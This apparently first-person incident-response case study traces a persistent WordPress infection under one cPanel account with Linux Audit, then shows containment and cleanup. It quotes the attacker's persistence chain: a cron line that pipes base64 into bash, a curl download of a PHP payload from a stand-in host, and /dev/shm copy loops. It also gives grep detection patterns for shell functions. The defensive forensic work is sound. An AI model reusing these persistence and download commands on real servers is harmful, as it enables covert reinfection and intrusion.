I recently dealt with a persistent malware infection affecting dozens of WordPress websites hosted under a single cPanel account.
The affected sites were protected by Imunify360, ModSecurity, Wordfence and custom .htaccess rules. Standard WordPress permissions were also in place:
Directories: 750
Files: 644
wp-config: 600Despite these measures, new files and directories continued to appear. Existing files were overwritten, wp-content permissions were changed, plugin files were reinfected, and custom robots.txt files were replaced.
This case study explains how the infection was traced using Linux Audit, how its persistence mechanism was identified, and how it was contained without suspending the cPanel account or taking all hosted websites offline.
All identifying details have been removed. Replace the following example values with your own:
cPanel account: exampleacct
Account path: /home/exampleacct
Example site: site-a.example
Second site: site-b.exampleThe Initial Symptoms
The first indication of compromise was that unexpected files and directories were repeatedly appearing inside WordPress installations.
The attacker was also modifying permissions. For example, wp-content was changed to:
555
At first glance, making a directory read-only might appear defensive. In this case, however, it was likely being used to obstruct cleanup or conceal the attacker’s actions.
The attacker was also replacing custom robots.txt files.
The intended file looked similar to:
User-agent: * Allow: /wp-content/uploads/ Allow: /wp-admin/admin-ajax.php Disallow: /wp-admin/ Disallow: /readme.html Disallow: /category/ Disallow: /tag/ Sitemap: https://site-a.example/post-sitemap1.xml
It was being replaced with:
User-agent: * Disallow: Sitemap: https://site-a.example/sitemap.xml
Another symptom was the appearance of suspicious index.php files inside plugin and upload directories.
Some index.php files are legitimate. Plugins often create small placeholder files containing something like:
<?php // Silence is golden.
However, randomly nested index.php files containing executable code, encoded strings or request handling must be investigated.
Why Normal File Permissions Did Not Stop the Infection
Permissions such as 750 for directories and 644 for files do not prevent the owner from writing to them.
For example:
Directory 750: Owner: rwx Group: r-x Other: --- File 644: Owner: rw- Group: r-- Other: r--
On many cPanel servers, PHP-FPM executes WordPress PHP files as the cPanel account owner.
That means compromised PHP running under:
exampleacct
can write to other files and directories owned by:
exampleacct
When multiple WordPress installations share one cPanel account, a compromise in one website can spread to every other website owned by the same Unix user.
This is why changing files from 644 to 444, or directories from 750 to 550, is not always a complete defence. If the malicious process runs as the owner, it may simply change the permissions again.
Installing and Enabling Linux Audit
The key breakthrough came from using Linux Audit to record filesystem activity and process execution.
On AlmaLinux, Rocky Linux or another RHEL-compatible system:
dnf install -y audit
systemctl enable --now auditdCheck the service:
systemctl status auditdAudit rules can be listed with:
auditctl -lAudit status can be checked with:
auditctl -sImportant fields include:
enabled lost backlog backlog_limit
The lost value should not continually increase. If it does, the audit configuration may be generating more events than the service can process.
Adding an Account-Wide Filesystem Watch
To monitor every write and attribute change beneath the affected cPanel account, I created an account-wide audit rule:
cat > /etc/audit/rules.d/example-account.rules <<'EOF'
-w /home/exampleacct -p wa -k example_account
EOFLoad the rule:
augenrules --loadConfirm it:
auditctl -l | grep example_accountExpected output:
-w /home/exampleacct -p wa -k example_account
The permissions used in the rule are:
w = write activity a = attribute changes
This records activity such as:
- New file creation
- File deletion
- Directory creation
- Directory deletion
- File overwrites
- Renames
chmodchown- Timestamp changes
An account containing many active WordPress websites can generate a large volume of audit records, so this rule is best used during an investigation rather than indefinitely.
Reading the Audit Results
Recent events can be viewed with:
ausearch -k example_account -ts recent -i | lessToday’s events:
ausearch -k example_account -ts today -i | lessSearch for a particular filename:
ausearch -k example_account -ts today -i |
grep -B20 -A30 'robots.txt'Search for suspicious index.php activity:
ausearch -k example_account -ts today -i |
grep -B20 -A30 'index.php'Search for changes involving wp-content:
ausearch -k example_account -ts today -i |
grep -B20 -A30 'wp-content'The First Major Discovery
The account-wide audit immediately caught repeated commands similar to:
cp /dev/shm/payload.tmp /home/exampleacct/site-a.example/wp-content/plugins/plugin-a/path/index.php
and:
cp /dev/shm/payload.tmp /home/exampleacct/site-b.example/wp-content/plugins/plugin-b/path/index.php
The audit record showed:
comm=cp exe=/usr/bin/cp uid=exampleacct auid=unset tty=(none) success=yes
This established several facts:
- A payload was stored in
/dev/shm. - It was repeatedly copied into legitimate plugin directories.
- The copies ran as the cPanel account user.
- The activity was automated rather than interactive.
- More than one WordPress website was being targeted.
The plugin filenames were not themselves evidence that those plugins caused the infection. The attacker was selecting existing plugin locations as hiding places.
Understanding /dev/shm
/dev/shm is a temporary memory-backed filesystem used for shared memory.
It is writable by normal users and is commonly mounted with permissions similar to:
drwxrwxrwt
The trailing t is the sticky bit. It means users cannot normally delete another user’s files, even though the directory is writable.
Attackers frequently use locations such as:
/dev/shm /tmp /var/tmp
because they are writable and may receive less attention than website directories.
Preserving and Blocking the Payload
Before deleting the payload, I preserved a forensic copy.
CASE="/root/example-forensics-$(date +%F-%H%M%S)"
mkdir -p "$CASE"Preserve its metadata and hashes:
if [ -e /dev/shm/payload.tmp ]; then
stat /dev/shm/payload.tmp > "$CASE/payload-stat.txt"
sha256sum /dev/shm/payload.tmp > "$CASE/payload-sha256.txt"
file /dev/shm/payload.tmp > "$CASE/payload-filetype.txt"
cp -a /dev/shm/payload.tmp "$CASE/payload.copy"
mv /dev/shm/payload.tmp "$CASE/payload.original"
mkdir /dev/shm/payload.tmp
chown root:root /dev/shm/payload.tmp
chmod 000 /dev/shm/payload.tmp
fiVerify the blocker:
ls -ld /dev/shm/payload.tmpExpected:
d--------- 2 root root ... /dev/shm/payload.tmp
The attacker’s copy commands expected /dev/shm/payload.tmp to be a file.
Replacing it with a root-owned inaccessible directory prevented the compromised account from recreating a file at that exact pathname.
The forensic evidence was then secured:
CASE=$(ls -dt /root/example-forensics-* | head -1)
chown -R root:root "$CASE"
chmod 700 "$CASE"
find "$CASE" -type f -exec chmod 600 {} +Finding the Persistent Copy Loops
The audit output contained parent process IDs for the malicious cp commands.
The processes were inspected with:
ps -o user,pid,ppid,lstart,etime,stat,cmd \
-p <PID1>,<PID2>,<PID3>The result revealed commands similar to:
sh -c while sleep 0.1; do
cp /dev/shm/payload.tmp /home/exampleacct/site-a.example/wp-content/plugins/plugin-a/path/index.php
done
The loops were running every tenth of a second.
Their parent process ID was:
PPID 1
This meant the processes were orphaned. Their original launcher had exited, and they had been adopted by the system’s init process.
It did not mean that PID 1 created the malware.
Freezing the Processes Before Killing Them
Before terminating suspicious processes, it can be useful to freeze them and capture information from /proc.
PIDS="<PID1> <PID2> <PID3>"
for PID in $PIDS; do
if [ -d "/proc/$PID" ]; then
kill -STOP "$PID"
pkill -STOP -P "$PID" 2>/dev/null || true
echo "Frozen PID $PID"
fi
doneInformation that can be preserved includes:
CASE=$(ls -dt /root/example-forensics-* | head -1)
REPORT="$CASE/suspicious-processes.txt"
: > "$REPORT"
for PID in $PIDS; do
{
echo
echo "============================================================"
echo "PID: $PID"
if [ ! -d "/proc/$PID" ]; then
echo "Process no longer exists"
continue
fi
echo "--- Process ---"
ps -ww -o user,pid,ppid,pgid,sid,lstart,etime,stat,cmd -p "$PID"
echo "--- Command line ---"
tr '\0' ' ' < "/proc/$PID/cmdline"
echo
echo "--- Executable ---"
readlink -f "/proc/$PID/exe"
echo "--- Working directory ---"
readlink -f "/proc/$PID/cwd"
echo "--- Status ---"
cat "/proc/$PID/status"
echo "--- Cgroup ---"
cat "/proc/$PID/cgroup"
echo "--- Environment ---"
tr '\0' '\n' < "/proc/$PID/environ"
echo "--- File descriptors ---"
ls -la "/proc/$PID/fd"
} >> "$REPORT" 2>&1
done
chmod 600 "$REPORT"After collecting the information, terminate the processes:
for PID in $PIDS; do
pkill -KILL -P "$PID" 2>/dev/null || true
kill -KILL "$PID" 2>/dev/null || true
doneConfirm that they are gone:
ps -o user,pid,ppid,lstart,etime,stat,cmd \
-p <PID1>,<PID2>,<PID3>Search for additional copies:
ps -eo user,pid,ppid,lstart,etime,stat,args |
grep -E 'sh -c while sleep 0\.1.*cp /dev/shm/payload\.tmp' |
grep -v grepNo output is expected.
Why I Did Not Suspend the Entire cPanel Account
The affected cPanel account hosted approximately 40 live WordPress websites.
Suspending the account would have taken all of them offline.
Killing every process owned by the account would also have interrupted legitimate PHP-FPM workers and active requests.
Instead, I used targeted containment:
- Blocked the known
/dev/shmpayload path - Killed only the identified malicious shell loops
- Removed the malicious cron entry
- Blocked the known downloader destination
- Kept account-wide filesystem and command auditing active
- Repaired affected WordPress installations individually
Suspending an account is still the safest response when practical. However, on a multi-site account where uptime must be maintained, targeted containment may be necessary.
That approach carries more risk and requires continuous monitoring.
Auditing Commands Executed by the Account
Filesystem monitoring identified what was being changed, but I also needed to know which commands were being executed.
First, obtain the account UID:
FUID=$(id -u exampleacct)
echo "$FUID"Create execution audit rules:
cat > /etc/audit/rules.d/example-exec.rules <<EOF
-a always,exit -F arch=b64 -S execve -F uid=$FUID -k example_exec
-a always,exit -F arch=b32 -S execve -F uid=$FUID -k example_exec
EOFLoad them:
augenrules --loadConfirm:
auditctl -l | grep example_execRead recent commands:
ausearch -k example_exec -ts recent -i | lessSearch for suspicious commands:
ausearch -k example_exec -ts recent -i |
grep -B15 -A30 -Ei \
'/dev/shm|comm=(sh|bash|cp|curl|wget|php|python|perl)|proctitle=.*(cp|curl|wget)'The Second Major Discovery: A Malicious Cron Job
The execution audit captured a command chain similar to:
/usr/local/cpanel/bin/jailshell -c \ 'echo <BASE64_ENCODED_COMMAND> | base64 -d | bash'
It then launched:
base64 -d bash curl
The decoded command downloaded a PHP payload into the root of one WordPress website:
curl -o /home/exampleacct/site-c.example/security-plugin.php \ https://example.invalid/path/payload
The audit records also showed:
sendmail -FCronDaemon
That was important because it confirmed the command was being launched by cron.
The account’s crontab contained:
SHELL="/usr/local/cpanel/bin/jailshell" * * * * * echo <BASE64_ENCODED_COMMAND> | base64 -d | bash
This ran every minute.
Did the Attacker Use SSH?
The presence of jailshell did not prove that the attacker logged in through SSH.
The crontab explicitly set:
SHELL="/usr/local/cpanel/bin/jailshell"
Cron therefore used cPanel’s jailed shell as its command interpreter.
The execution chain was:
crond
??? switches to the cPanel account user
??? launches jailshell
??? launches bash
??? launches curl
No interactive password was required.
A cron job already installed for a Unix user runs automatically as that user.
Changing the cPanel password does not:
- Delete existing cron jobs
- Stop existing processes
- Remove malware files
- Disable stolen sessions
- Remove SSH keys
- Revoke cPanel API tokens
- Change WordPress administrator passwords
- Change database credentials
- Replace WordPress security salts
The malicious audit events showed:
tty=(none)
An interactive SSH session would more commonly show:
tty=pts0 tty=pts1 exe=/usr/sbin/sshd
To check for actual SSH activity:
grep -Ei \
'Accepted (password|publickey).*exampleacct|session opened for user exampleacct|Failed password.*exampleacct' \
/var/log/secure* 2>/dev/null |
tail -n 300Successful SSH logins normally appear as:
Accepted password for exampleacct from 192.0.2.10
or:
Accepted publickey for exampleacct from 192.0.2.10
Authorised SSH keys should also be inspected:
ls -la /home/exampleacct/.ssh 2>/dev/null
if [ -f /home/exampleacct/.ssh/authorized_keys ]; then
nl -ba /home/exampleacct/.ssh/authorized_keys
stat /home/exampleacct/.ssh/authorized_keys
fiThe evidence in this incident proved cron execution, but it did not prove how the cron entry was originally installed.
Possible routes included:
- Compromised WordPress PHP
- A malicious plugin or theme
- A web shell
- A stolen cPanel session
- A cPanel API token
- An SSH key
- An older stolen password
- Cross-site infection from another WordPress installation under the account
The most likely route was compromised PHP running as the cPanel account user.
A PHP shell can execute commands such as:
<?php
system('crontab /path/to/malicious-crontab');
Because PHP-FPM already runs as the account owner, no password is required.
Preserving and Removing the Malicious Crontab
Before removing the crontab, preserve it:
CASE=$(ls -dt /root/example-forensics-* | head -1)
crontab -u exampleacct -l \
> "$CASE/account-crontab-before-removal.txt" 2>&1Preserve the spool copy:
if [ -f /var/spool/cron/exampleacct ]; then
cp -a /var/spool/cron/exampleacct \
"$CASE/account-crontab-spool-copy"
fiSecure the evidence:
chown -R root:root "$CASE"
chmod 700 "$CASE"
find "$CASE" -type f -exec chmod 600 {} +Display the saved crontab:
nl -ba "$CASE/account-crontab-before-removal.txt"Remove the live crontab:
crontab -u exampleacct -rVerify:
crontab -u exampleacct -lExpected:
no crontab for exampleacct
To temporarily prevent the account from creating another user crontab:
echo "exampleacct" >> /etc/cron.deny
sort -u /etc/cron.deny -o /etc/cron.deny
chmod 600 /etc/cron.denyThis is containment, not a complete solution. Malware with sufficient command execution may still attempt other forms of persistence.
Auditing Future Crontab Changes
Add a watch on the cron spool:
cat > /etc/audit/rules.d/example-crontab.rules <<'EOF'
-w /var/spool/cron -p wa -k example_crontab
EOFLoad it:
augenrules --loadConfirm:
auditctl -l | grep example_crontabMonitor:
ausearch -k example_crontab -ts recent -iA future attempt may show:
comm=crontab exe=/usr/bin/crontab uid=exampleacct
The parent process may help determine whether it came from PHP-FPM, a shell or a control-panel process.
Quarantining the Downloaded PHP File
The malicious downloader created a file with a name designed to resemble a security plugin.
A legitimate security plugin normally resides under:
wp-content/plugins/plugin-name/
A suspicious root-level file such as:
/home/exampleacct/site-c.example/security-plugin.php
should be preserved and quarantined.
CASE=$(ls -dt /root/example-forensics-* | head -1)
MALWARE="/home/exampleacct/site-c.example/security-plugin.php"
if [ -f "$MALWARE" ]; then
stat "$MALWARE" > "$CASE/downloaded-php-stat.txt"
sha256sum "$MALWARE" > "$CASE/downloaded-php-sha256.txt"
file "$MALWARE" > "$CASE/downloaded-php-filetype.txt"
cp -a "$MALWARE" "$CASE/downloaded-php.payload"
chown root:root "$CASE/downloaded-php.payload"
chmod 600 "$CASE/downloaded-php.payload"
chattr -i "$MALWARE" 2>/dev/null || true
rm -f "$MALWARE"
fiTo block the exact pathname:
mkdir -p "$MALWARE"
chown root:root "$MALWARE"
chmod 000 "$MALWARE"
chattr +i "$MALWARE"Verify:
ls -ld "$MALWARE"
lsattr -d "$MALWARE"Protecting robots.txt With the Immutable Attribute
The physical robots.txt file was being deleted and recreated.
After restoring the desired content:
ROBOTS="/home/exampleacct/site-a.example/robots.txt"
chattr -i "$ROBOTS" 2>/dev/null || true
cat > "$ROBOTS" <<'EOF'
User-agent: *
Allow: /wp-content/uploads/
Allow: /wp-admin/admin-ajax.php
Disallow: /wp-admin/
Disallow: /readme.html
Disallow: /category/
Disallow: /tag/
Sitemap: https://site-a.example/post-sitemap1.xml
EOFSet root ownership and make it immutable:
chown root:root "$ROBOTS"
chmod 644 "$ROBOTS"
chattr +i "$ROBOTS"Verify:
ls -l "$ROBOTS"
lsattr "$ROBOTS"Expected output contains i:
----i---------e------- /home/exampleacct/site-a.example/robots.txt
The web server can still read the file, but normal PHP running as the cPanel account cannot modify or delete it.
Test the public response:
curl -ksS \
-H 'Cache-Control: no-cache' \
"https://site-a.example/robots.txt?check=$(date +%s)"To edit the file later:
chattr -i "$ROBOTS"
After editing:
chattr +i "$ROBOTS"
Locking WordPress Core and Plugin Files
The immutable attribute can also protect code that should not normally change.
For one website:
SITE="/home/exampleacct/site-a.example"
chattr -R +i "$SITE/wp-admin"
chattr -R +i "$SITE/wp-includes"
for DIR in plugins themes mu-plugins; do
if [ -e "$SITE/wp-content/$DIR" ]; then
chattr -R +i "$SITE/wp-content/$DIR"
fi
doneDo not recursively make all of wp-content immutable. WordPress still needs to write to locations such as:
wp-content/uploads wp-content/cache wp-content/upgrade wp-content/languages wp-content/wflogs
Unlock code before legitimate updates:
chattr -R -i "$SITE/wp-admin"
chattr -R -i "$SITE/wp-includes"
for DIR in plugins themes mu-plugins; do
if [ -e "$SITE/wp-content/$DIR" ]; then
chattr -R -i "$SITE/wp-content/$DIR"
fi
doneApply the locks again after updating.
Blocking PHP Execution in Uploads
Media upload directories must remain writable, but PHP should not execute from them.
On an Apache/cPanel server, a server-level configuration can be used:
cat > /etc/apache2/conf.d/zz-no-upload-php.conf <<'EOF'
<DirectoryMatch "^/home/[^/]+/[^/]+/wp-content/uploads(?:/|$)">
Options -ExecCGI
<FilesMatch "\.(?i:php[0-9]*|phtml|phar|cgi|pl|py|sh)$">
Require all denied
</FilesMatch>
</DirectoryMatch>
EOFSecure the configuration:
chown root:root /etc/apache2/conf.d/zz-no-upload-php.conf
chmod 600 /etc/apache2/conf.d/zz-no-upload-php.confTest Apache:
apachectl configtestRestart it:
/usr/local/cpanel/scripts/restartsrv_httpdTest using a harmless file:
UPLOAD="/home/exampleacct/site-a.example/wp-content/uploads/security-test.php"
printf '%s\n' '<?php echo "PHP EXECUTED";' > "$UPLOAD"
chown exampleacct:exampleacct "$UPLOAD"
chmod 644 "$UPLOAD"Request it:
curl -k -i \
"https://site-a.example/wp-content/uploads/security-test.php"It should return 403 Forbidden.
Remove the test:
rm -f "$UPLOAD"
If Nginx, Engintron or another reverse proxy is in use, test through the public HTTPS URL to confirm that PHP execution is blocked at every layer.
Finding PHP Files in Upload Directories
Search for executable files under uploads:
find /home/exampleacct \
-xdev \
-type f \
-path '*/wp-content/uploads/*' \
\( -iname '*.php' \
-o -iname '*.php[0-9]' \
-o -iname '*.phtml' \
-o -iname '*.phar' \) \
-printf '%TY-%Tm-%Td %TH:%TM:%TS %u:%g %m %s %p\n' |
sortDo not automatically delete every index.php.
Common legitimate placeholders include:
wp-content/uploads/index.php wp-content/uploads/plugin-temp-directory/index.php
Inspect their content:
find /home/exampleacct \
-xdev \
-type f \
-path '*/wp-content/uploads/*' \
-name 'index.php' \
-print0 |
while IFS= read -r -d '' FILE; do
echo
echo "============================================================"
stat -c 'Size=%s Mode=%a Modified=%y File=%n' "$FILE"
sha256sum "$FILE"
sed -n '1,40p' "$FILE"
doneSuspicious indicators include:
eval( base64_decode( gzinflate( shell_exec( system( exec( passthru( proc_open( file_put_contents( $_POST $_GET $_REQUEST $_COOKIE
Search for them:
grep -RInE \
'eval[[:space:]]*\(|base64_decode[[:space:]]*\(|gzinflate[[:space:]]*\(|shell_exec[[:space:]]*\(|passthru[[:space:]]*\(|system[[:space:]]*\(|exec[[:space:]]*\(|proc_open[[:space:]]*\(|file_put_contents[[:space:]]*\(|\$_(POST|GET|REQUEST|COOKIE)' \
/home/exampleacct/*/wp-content/uploads 2>/dev/nullFinding Every Copy of a Known Payload
If the malicious payload has been preserved, use its SHA-256 hash and file size to locate identical copies:
CASE=$(ls -dt /root/example-forensics-* | head -1)
PAYLOAD="$CASE/payload.copy"
HASH=$(sha256sum "$PAYLOAD" | awk '{print $1}')
SIZE=$(stat -c '%s' "$PAYLOAD")Search the account:
find /home/exampleacct \
-xdev -type f -size "${SIZE}c" -print0 |
while IFS= read -r -d '' FILE; do
FILE_HASH=$(sha256sum "$FILE" 2>/dev/null | awk '{print $1}')
if [ "$FILE_HASH" = "$HASH" ]; then
printf '%s\n' "$FILE"
fi
doneEvery exact match should be considered compromised.
When a plugin file has been overwritten, reinstall the entire plugin from a trusted package rather than replacing only the visible malicious file.
Searching for Other Persistence
Search common cron locations:
grep -RInsE \
--binary-files=without-match \
'raw\.githubusercontent\.com|base64[[:space:]]+-d|/dev/shm|while[[:space:]]+sleep|curl|wget' \
/var/spool/cron \
/etc/crontab \
/etc/cron.d \
/etc/cron.hourly \
/etc/cron.daily \
/etc/cron.weekly \
/etc/cron.monthly 2>/dev/nullSearch the affected account:
grep -RInsE \
--binary-files=without-match \
--exclude='error_log' \
--exclude='*.log' \
'/dev/shm|base64[[:space:]]+-d|raw\.githubusercontent\.com|while[[:space:]]+sleep' \
/home/exampleacct 2>/dev/nullSearch temporary locations:
find /dev/shm /tmp /var/tmp \
-user exampleacct \
-printf '%TY-%Tm-%Td %TH:%TM:%TS %m %u:%g %s %p\n' \
2>/dev/null |
sortFind deleted files still held open:
lsof -nP +L1 |
grep exampleacctCheck current account processes:
ps -u exampleacct \
-o user,pid,ppid,lstart,etime,stat,cmd \
--forestSearch for suspicious command lines:
ps -eo user,pid,ppid,lstart,etime,stat,args |
grep -E '/dev/shm|base64 -d|raw\.githubusercontent|while sleep|curl|wget' |
grep -v grepReinstalling WordPress Components
After persistence has been removed:
- Replace WordPress core files with clean official copies.
- Reinstall every affected plugin.
- Reinstall active themes from trusted packages.
- Inspect
mu-plugins. - Inspect
wp-content/uploads. - Inspect the document root for unexpected PHP files.
- Verify
.htaccess. - Verify
.user.ini. - Check for
auto_prepend_file. - Rotate WordPress salts and credentials.
Search for dangerous PHP configuration:
find /home/exampleacct \
-xdev \
-type f \
\( -name '.user.ini' \
-o -name 'php.ini' \
-o -name '.htaccess' \) \
-print0 |
xargs -0 -r grep -HniE \
'auto_prepend_file|auto_append_file|allow_url_include'Verify WordPress core with WP-CLI:
wp core verify-checksums \
--path="/home/exampleacct/site-a.example" \
--allow-rootRe-download core without touching wp-content or wp-config.php:
wp core download \
--force \
--skip-content \
--path="/home/exampleacct/site-a.example" \
--allow-rootPlugin checksum verification may also be available:
wp plugin verify-checksums --all \
--path="/home/exampleacct/site-a.example" \
--allow-rootNot every commercial or custom plugin has public checksums, so checksum warnings must be interpreted carefully.
Credentials That Should Be Rotated
Changing only the cPanel password is not enough.
Rotate or revoke:
- cPanel password
- FTP passwords
- SSH keys
- cPanel API tokens
- WordPress administrator passwords
- WordPress application passwords
- Database passwords
- WordPress security salts
- External deployment credentials
- MainWP credentials
- Backup service credentials
- Any password reused elsewhere
Generate new WordPress salts and replace the values in wp-config.php.
Review WordPress administrator accounts:
wp user list \
--role=administrator \
--path="/home/exampleacct/site-a.example" \
--allow-rootRemove unknown accounts immediately.
Monitoring After Cleanup
Keep the execution audit active temporarily:
ausearch -k example_exec -ts recent -i | lessWatch for:
bash sh curl wget base64 cp chmod chown crontab php python perl
Monitor account-wide file changes:
ausearch -k example_account -ts recent -i | lessGenerate an executable report:
ausearch -k example_account -ts today --raw |
aureport -x -i |
lessGenerate a file report:
ausearch -k example_account -ts today --raw |
aureport -f -i |
lessCheck audit health:
auditctl -sIf the account-wide watch creates too much activity or increases the lost counter, remove it after the investigation:
auditctl -W /home/exampleacct \
-p wa \
-k example_accountRemove the persistent rule:
rm -f /etc/audit/rules.d/example-account.rules
augenrules --loadNarrow watches on sensitive files such as robots.txt, crontabs and important configuration files may be kept longer.
The Infection Chain
The complete infection chain discovered during this incident was:
Compromised website or account-level process
?
Malicious user cron entry
?
cPanel jailshell
?
Base64-decoded Bash command
?
curl downloads PHP malware
?
Payload written into /dev/shm
?
Orphaned shell loops run every 0.1 seconds
?
Payload repeatedly copied into legitimate plugin directories
?
Multiple WordPress installations reinfected
The audit trail proved the active mechanisms. It did not conclusively prove the original vulnerability that first allowed the attacker to add the cron job.
Lessons Learned
1. File permissions alone are not enough
When PHP runs as the same Unix owner as the files, compromised PHP can modify anything that account owns.
2. Multiple sites under one account share risk
One vulnerable website can compromise every website under the same cPanel user.
For strong isolation, place important sites or smaller groups of sites in separate cPanel accounts.
3. A changed password does not remove persistence
Existing cron jobs, PHP shells, API tokens, SSH keys and running processes continue working after a password change.
4. Security-plugin filenames can be camouflage
A root-level file named after a recognised security product is not automatically legitimate.
5. Linux Audit can reveal the exact process
Audit records can show:
command executable UID audit UID PID parent PID working directory target path success or failure
That evidence is often more valuable than repeatedly deleting suspicious files.
6. Preserve evidence before deleting malware
Record:
stat output SHA-256 hash file type process details crontab contents audit records
This helps identify identical copies and reconstruct the attack.
7. Remove persistence before repairing files
Replacing WordPress core or reinstalling plugins will not help if a cron job or background loop immediately reinfects them.
The correct order is:
Observe Preserve Contain Remove persistence Terminate malicious processes Repair files Rotate credentials Monitor
Final Checklist
Before considering the incident closed, verify:
[ ] Malicious crontab removed [ ] Cron creation temporarily restricted or audited [ ] Malicious shell loops terminated [ ] /dev/shm payload preserved and blocked [ ] Downloaded root-level PHP payload removed [ ] Exact payload copies located [ ] Affected plugins reinstalled [ ] WordPress core checksums verified [ ] Upload directories checked for PHP [ ] PHP execution blocked in uploads [ ] robots.txt restored and protected [ ] .user.ini and auto_prepend_file checked [ ] Unknown administrators removed [ ] WordPress salts rotated [ ] cPanel password changed [ ] FTP credentials changed [ ] SSH keys reviewed [ ] cPanel API tokens revoked [ ] Database passwords rotated [ ] Audit rules retained during monitoring [ ] Audit lost counter remains stable [ ] No new suspicious executions detected
Conclusion
The most important lesson from this incident was that repeatedly deleting malicious files was not enough.
The files kept returning because an automated persistence mechanism remained active.
Linux Audit exposed the actual behaviour:
- A malicious cron job ran every minute.
- cPanel’s
jailshellwas used as the cron interpreter. - A Base64-encoded command downloaded a PHP payload.
- The payload was stored in
/dev/shm. - Orphaned shell loops copied it into WordPress plugin directories every tenth of a second.
Once those mechanisms were identified, the infection could be contained without taking all hosted websites offline.
The commands in this case study should be adapted carefully to the server being investigated. Always preserve evidence before deletion, test commands on one site first, maintain current backups and avoid running destructive commands against paths that have not been independently verified.
The article is formatted for direct pasting into the WordPress block editor.
